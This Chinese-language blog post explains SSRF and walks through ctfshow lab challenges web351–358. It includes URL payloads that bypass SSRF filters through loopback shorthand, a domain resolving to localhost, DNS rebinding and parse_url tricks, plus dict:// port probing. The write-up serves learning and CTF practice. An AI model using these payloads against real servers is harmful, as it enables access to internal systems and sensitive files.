【SSRF漏洞】——http协议常见绕过

改变的确很难,但结果值得冒险

本文如有错误之处,还请各位师傅指正

一.ssrf概述

SSRF全称为Server-side Request Fogery,中文含义服务器端请求伪造

 SSRF是一种由攻击者构造形成目标服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(防火墙隔绝)。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

原由:大都是由于服务端提供了从其它服务器获取数据的功能,比如使用户从指定的URL web应用获取图片、下载文件、读取文件内容等。但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。

  • 判断是否为SSRF题目:题目源码出现以下函数file_get_contents()、curl()、fsocksopen()、fopen()
  • 时可能有SSRF
  • 常用协议:http://,file://,dict://,gopher://

二.curl会话

PHP中的cURL会话(cURL session)是通过cURL库提供的功能来进行HTTP请求的过程。cURL会话可以用于发送HTTP/HTTPS协议请求,获取服务器响应,并对请求和响应进行配置和处理。

支持的协议:dict file ftp ftps http https imap imaps ipfs ipns mqtt pop3 pop3s smb smbs smtp smtps telnet tftp

ssrf常用的四种协议包括file,dict,http,gopher

  • file协议‌:用于进行任意文件读取,是SSRF中最简单的利用方式。通过指定文件路径(如file://开头),攻击者可以尝试读取服务器上的任何文件,包括敏感信息或配置文件。

  • http(s)协议‌:允许攻击者向目标发送HTTP请求,探测内网服务。由于GET请求的参数直接加在URL中,这使得探测那些使用GET请求的应用成为可能,进而进行内网探测和攻击。

  • dict协议‌:1.探测内网主机 2.探测端口的开放情况‌ 3.探测端口的指纹信息 4.执行命令

  • gopher(万金油)协议‌:gopher协议允许通过Telnet远程访问其他应用程序,并使得Internet上的所有Gopher客户程序能够与Internet上的所有已“注册”的Gopher服务器进行对话。‌此外,Gopher协议支持发出GET和POST请求,这使得它能够在ssrf(服务器端请求伪造)攻击中发挥重要作用,例如攻击内网的MySQl,FTP,Telnet,Redis,Mencache等,同时也可以进行GET、POST请求。

使用cURL会话进行HTTP请求的基本步骤如下:

  •     创建一个cURL会话句柄(curl_init)。
  •     设置需要的选项,如请求的URL、请求方法、请求头、请求体等(curl_setopt)。
  •     执行HTTP请求(curl_exec)。
  •     获取服务器响应(可选)。
  •     关闭cURL会话(curl_close)。

 三.ctfshow之ssrf

web351:

使用dict协议查看哪个端口开放,来决定使用哪个协议:

url=dict://127.0.0.1:80成功回显,可以使用http协议

payload:url=127.0.0.1/flag.php

 web352:

parse_url()函数:是用来解析一个URL并返回该URL的各个组成部分

  • scheme: URL的协议部分http/https等等
  • host: URL的主机名部分   //后的部分
  • port: URL的端口部分  
  • user: URL的用户名部分    @前
  • pass: URL的密码部分       @前
  • path: URL的路径部分
  • query: URL的查询字符串部分
  • fragment: URL的锚点部分    #后

 payload:url=http://127.0.0.1/flag.php

web353:

不能出现127.0.的部分

payload:url=http://127.1/flag.php

 还可以通过编码绕过:16进制,10进制,8进制

 web354:

不能出现0和1

使用域名指向http://sudo.cc指向1270.0.1

payload:url=http://sudo.cc/flag.php

 web355:

payload:url=http://127.1/flag.php

web356:

linux中0也可以访问本地

payload:url=http://0/flag.php

web357:

gethostbyname()函数是Linux系统中用于获取主机名对应IP地址的函数之一。

get_file_contens()函数读取域名后返回目标攻击ip

filter_var函数来验证第一次返回真正IP地址的有效性,并且排除了私有IP范围(0.0.0.0/8、172.16.0.0/12和192.168.0.0/16)和保留IP范围(0.0.0.0/8和169.254.0.0/16。)。

 这里采用DNS rebinding(DNS重新绑定攻击)绕过

攻击重点在于DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略。

 在这个网站注册账号:CEYE - Monitor service for security testing

 得到一个域名和两个ip

注意重定向时,域名的使用:r.域名

payload:url=http://r.zxfpib.ceye.io/flag.php

web358:

preg_match('/^http:\/\/ctf\..*show$/i',$url)

^:表示正则匹配的开始

^http:\/\/ctf\.:以http://ctf.开头

.*:匹配零个或任意个字符

$:匹配的结束表示

 parse_url匹配的时候,@前的内容是user部分,#后的部分会被忽略

payload:url=http://ctf.@0/flag.php#show

或者   url=http://ctf.@0/flag.php?show

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1534331.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

AI+教育|拥抱AI智能科技,让课堂更生动高效

AI在教育领域的应用正逐渐成为现实,提供互动性强的学习体验,正在改变传统教育模式。AI不仅改变了传统的教学模式,还为教育提供了更多的可能性和解决方案。从个性化学习体验到自动化管理任务,AI正在全方位提升教育质量和效率。随着…

运行PaddleOCR报错:requests.exceptions.SSLError: HTTPSconnectionPool……

文章目录 问题描述解决方法 问题描述 在运行以下代码时报错: ocr PaddleOCR(lang"en")解决方法 打开cmd,输入以下命令,查找Python解释器所在路径。 找到 Lib\site-packages\paddleocr\ppocr\utils\network.py,将代码…

docker-compose elasticsearch 集群搭建(用户登录+https访问)

文章目录 前言docker-compose elasticsearch 集群搭建(用户登录https访问)1. 效果2. 制作elasticsearch 分词器镜像2.1. 拉取elasticsearch:7.11.12.2. 制作特定版本镜像 3. docker-compose elasticsearch 集群制作4. es账户密码初始化 前言 如果您觉得有用的话,记…

小红书治愈插画副业,猛猛涨粉上万+,每天只用5分钟

在这个数字化时代,AI技术正以前所未有的速度改变着我们的生活和工作。特别是在内容创作领域,AI的运用已经催生了一种全新的创作模式。一幅幅温馨可爱的治愈插画如同清流,不仅契合当下年轻人生活的状态,更成为许多人表达生活态度、…

【鸿蒙】HarmonyOS NEXT星河入门到实战8-自定义组件-组件通信

目录 1、模块化语法 1.1 模块化基本认知 1.2 默认导出和导入 1.2.1 在ets下新建tools目录 1.2.2 在tools下新建moduls.ets文件 1.2.3 index.ets 1.3 按需导出和导入 1.4 全部导入 2、自定义组件 -基础 2.1 自定义组件 - 基本使用 2.2 自定义组件 -通用样式 2.2.1 et…

ceph简介

ceph存储简要概述: 通过将文件分解成固定大小对象,然后存放于pool中,每个pool中 可包含多个pg,每个pg中又可包含多个osd 通过crush算法 最终数据落盘到osd中去。 一、ceph 删除osd 步骤1 修改osd数据操作权重值 ceph osd crush r…

雷达液位计助力造纸行业精准测量

雷达液位计助力造纸行业精准测量 造纸工业是国民经济的基础原材料工业,是与社会文明和经济发展息息相关的重要产业。造纸是一个复杂的传质传热的工业过程,主要分为制浆和造纸两部分。为了保障造纸厂的连续运行,必须储备大量制备好的纸浆&…

SSM房屋装修管理系统的设计与实现---附源码75253

目 录 1 绪论 1.1研究背景 1.2研究意义 1.3论文结构与章节安排 2 房屋装修管理系统系统分析 2.1 可行性分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 法律可行性分析 2.2 系统功能分析 2.2.1 功能性分析 2.2.2 非功能性分析 2.3 系统用例分析 2.4本章小…

图像分类架构

图像分类 一、图像分类简介二、AlexNet三、VGG网络架构四、GoogLeNet4.1 Inception模块4.2 GoogLeNet构建 五、ResNet5.1 定义ResNet的残差块5.2 ResNet网络中模块的构成5.3 ResNet网络的构建 六、图像增强七、模型微调 一、图像分类简介 图像分类实质上就是从给定的类别集合中…

Spring扩展点系列-BeanFactoryAware

文章目录 简介源码分析示例代码示例一:验证BeanFactoryAware执行顺序示例二:动态获取其他bean示例三:动态bean的状态 简介 spring容器中Bean的生命周期内所有可扩展的点的调用顺序 扩展接口 实现接口ApplicationContextlnitializer initia…

git 更换远程地址的方法

需要将正在开发的代码远程地址改成新的地址,通过查询发现有三个方法可以实现,特此记录。具体方法如下: (1)通过命令直接修改远程仓库地址 git remote 查看所有远程仓库git remote xxx 查看指定远程仓库地址git remote…

MySQL代码顺序(整合)

这个图片也就是说明执行顺序 FROM > WHERE > GOURP BY > HAVING > SELECT > ORDER BY > LIMIT; 编写按照这个顺序写即可。

SX_VMware联网_23

利用Nat模式联网,NAT模式(Network Address Translation): 在NAT模式下,虚拟机通过主机的网络接口访问外部网络。 虚拟机之间可以相互通信,也可以访问主机网络以及互联网。 虚拟机使用私有IP地址&#xff0c…

工业互联网网络集成与实训系统解决方案

随着工业4.0时代的到来和信息技术的高速发展,工业互联网已成为推动产业升级的重要力量。本方案旨在通过构建高度仿真的实训环境,帮助学生全面掌握工业互联网技术,为未来的职业生涯奠定坚实基础。 一、设计理念 在设计理念上,本方…

【GIS开发小课堂】写一个高德地图巡航功能的小DEMO

介绍 此项目使用vite为基础架构,内部实现均以typescript开发,可替换为自己的业务逻辑,并迁移到react,vue,umi等其他框架。 通过调用高德地图的API和threejs的开发,实现了一个小鸭子(可替换为自己…

TiDB 扩容过程中 PD 生成调度的原理及常见问题丨TiDB 扩缩容指南(一)

导读 作为一个分布式数据库,扩缩容是 TiDB 集群最常见的运维操作之一。本系列文章,我们将基于 v7.5.0 具体介绍扩缩容操作的具体原理、相关配置及常见问题的排查。 通常,我们根据当前资源状态来决定是否需要调整 TiKV 节点的规模&#xff0…

Version ‘18.19.0‘ not found - try `nvm ls-remote` to browse available versions.

nvm安装指定版本不好使了 使用 nvm install 18.19.0 一直报错 Version 18.19.0 not found - try nvm ls-remote to browse available versions.然而使用 nvm ls-remote 只看到 iojs-v1.0.0iojs-v1.0.1iojs-v1.0.2iojs-v1.0.3iojs-v1.0.4iojs-v1.1.0iojs-v1.2.0iojs-v1.3.0iojs…

Wildberries测评自养号支付下单技术

Wildberries(俄语:ООО Ягодки)是俄罗斯最大的在线零售商,由Tatyana Bakalchuk于 2004 年创立。除俄罗斯外,他们还在其他 15 个国家提供服务:亚美尼亚、白俄罗斯、法国、德国、以色列、意大利、哈萨…

PHP省时省力海报在线制作系统小程序源码

省时省力海报在线制作系统:设计小白也能秒变大师 🎨 开篇:告别繁琐,拥抱高效设计 你还在为设计一张海报而熬夜加班吗?还在为找不到合适的素材而焦头烂额吗?别担心,“省时省力海报在线制作系统”…

使用开源框架HandyControl

准备 NuGet 搜索安装 HandyControl。 在App.xaml中添加以下代码&#xff1a; <Application.Resources><ResourceDictionary><ResourceDictionary.MergedDictionaries><ResourceDictionary Source"pack://application:,,,/HandyControl;component/…